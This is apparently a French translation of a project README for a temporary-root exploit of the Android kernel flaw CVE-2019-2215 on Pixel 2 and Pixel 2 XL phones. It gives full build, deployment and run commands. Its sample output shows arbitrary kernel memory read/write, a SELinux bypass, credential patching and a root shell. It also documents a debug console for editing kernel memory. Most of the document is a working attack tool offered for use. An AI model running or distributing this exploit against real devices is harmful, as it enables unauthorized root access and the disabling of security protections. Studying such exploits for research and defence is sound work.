
Temproot pour Pixel 2 et Pixel 2 XL via CVE-2019-2215
Démonstration d'une attaque d'escalade de privilèges en lecture/écriture seule de la mémoire du noyau aboutissant à un shell root temporaire.
Cela fonctionne sur les appareils Google Pixel 2/Pixel 2 XL (walleye/taimen) exécutant l'image QP1A.190711.020 de septembre 2019 avec la version du noyau-BuildID 4.4.177-g83bee1dc48e8.
Pour que cet outil fonctionne sur d'autres appareils et/ou noyaux affectés par la même vulnérabilité, certains décalages (offsets) doivent être trouvés et modifiés. Comme mentionné sur le suivi de bogues de Project Zero, ce n'est pas terriblement difficile.
Est également inclus une mini console de débogage qui fournit une interface de type éditeur hexadécimal pour manipuler la mémoire du noyau et la possibilité de lancer un shell.
Pour plus de commodité, un Makefile est inclus qui fonctionne avec la chaîne d'outils de cross-compilation de Android NDK r19 ou supérieur.
# Téléchargez le NDK Android.
user@host:~$ wget https://dl.google.com/android/repository/android-ndk-r20-linux-x86_64.zip
# Extrayez le NDK et définissez son chemin comme $ANDROID_NDK_HOME.
user@host:~$ unzip android-ndk-r20-linux-x86_64.zip
user@host:~$ rm android-ndk-r20-linux-x86_64.zip # optionnel
user@host:~$ export ANDROID_NDK_HOME=~/android-ndk-r20
# Clonez le dépôt git `cve-2019-2215` et placez-vous dedans.
user@host:~$ git clone https://github.com/kangtastic/cve-2019-2215.git
user@host:~$ cd cve-2019-2215
# Compilez le binaire.
user@host:~/cve-2019-2215$ make all # all, clean, debug, debug-static, static, strip
user@host:~/cve-2019-2215$ file cve-2019-2215
cve-2019-2215: ELF 64-bit LSB shared object, ARM aarch64, version 1 (SYSV),
dynamically linked, interpreter /system/, stripped
Une fois le binaire compilé, transférez-le sur l'appareil, rendez-le exécutable et exécutez-le. (Quelque part dans /data/ devrait fonctionner.)
taimen:/ $ cd /data/local/tmp
taimen:/data/local/tmp $ install -m 755 /sdcard/cve-2019-2215 ./
taimen:/data/local/tmp $ ./cve-2019-2215
Temproot pour Pixel 2 et Pixel 2 XL via CVE-2019-2215
[+] startup
[+] find kernel address of current task_struct
[+] obtain arbitrary kernel memory R/W
[+] find kernel base address
[+] bypass SELinux and patch current credentials
taimen:/data/local/tmp # id
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),
1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),
3006(net_bw_stats),3009(readproc),3011(uhid) context=u:r:kernel:s0
taimen:/data/local/tmp # getenforce
Permissive
taimen:/data/local/tmp # exit
taimen:/data/local/tmp $
Le succès n'est pas garanti et l'appareil peut même planter complètement, mais généralement, SELinux est défini sur Permissive et un shell root est lancé.
Passez debug comme unique argument de ligne de commande pour lancer une mini console de débogage au lieu de la routine d'escalade de privilèges après avoir obtenu la lecture/écriture du noyau.
debug> help
aide rapide
print
affiche l'adresse de base du noyau, certains décalages de symboles du noyau,
et l'adresse de current task_struct sous forme de chaînes hexadécimales
read <kaddr> <len>
lit <len> octets à partir de <kaddr> et affiche sous forme de dump hexadécimal
<kaddr> est une chaîne hexadécimale non préfixée par 0x
<len> est 1-4096 ou 0x1-0x1000
write <kaddr> <data>
écrit <data> à <kaddr>
<kaddr> est une chaîne hexadécimale non préfixée par 0x
<data> est 1-4096 octets hexadécimaux, les espaces sont ignorés, écrits *TELS QUELS*
ex. si kaddr 0xffffffffdeadbeef contient un entier, et que vous voulez définir
sa valeur à 1, entrez 'write ffffffffdeadbeef <data>', où <data> est
'01000000', '0100 0000', '01 00 0 0 00', etc. (notre ARM est en petit-boutiste)
shell
lance un shell (indice : sommes-nous ~quelque part~ devenus un autre utilisateur ? :P)
help
affiche cette aide
exit
quitte la console de débogage
Passer SELinux de Permissive à Enforcing en tant qu'utilisateur non privilégié.
taimen:/data/local/tmp $ getenforce
Permissive
taimen:/data/local/tmp $ ./cve-2019-2215 debug
Temproot pour Pixel 2 et Pixel 2 XL via CVE-2019-2215
[+] startup
[+] find kernel address of current task_struct
[+] obtain arbitrary kernel memory R/W
[+] find kernel base address
lancement de la console de débogage, entrez 'help' pour l'aide rapide
debug> print
ffffff9bad880000 kernel_base
ffffff9baf8a57d0 init_task
ffffff9baf8af2c8 init_user_ns
ffffff9baf8e3780 selinux_enabled
ffffff9bafc4e4a8 selinux_enforcing
ffffffe6b2942b80 current
debug> read ffffff9bafc4e4a8 35
ffffff9bafc4e4a8: 0000 0000 0100 0000 002e 40b9 faff ffff ..........@.....
ffffff9bafc4e4b8: 0023 40b9 faff ffff 0000 0000 0000 0000 .#@.............
ffffff9bafc4e4c8: 0000 00 ...
debug> write ffffff9bafc4e4a8 01 00 00 00
debug> read ffffff9bafc4e4a8 4
ffffff9bafc4e4a8: 0100 0000 ....
debug> exit
taimen:/data/local/tmp $ getenforce
Enforcing
taimen:/data/local/tmp $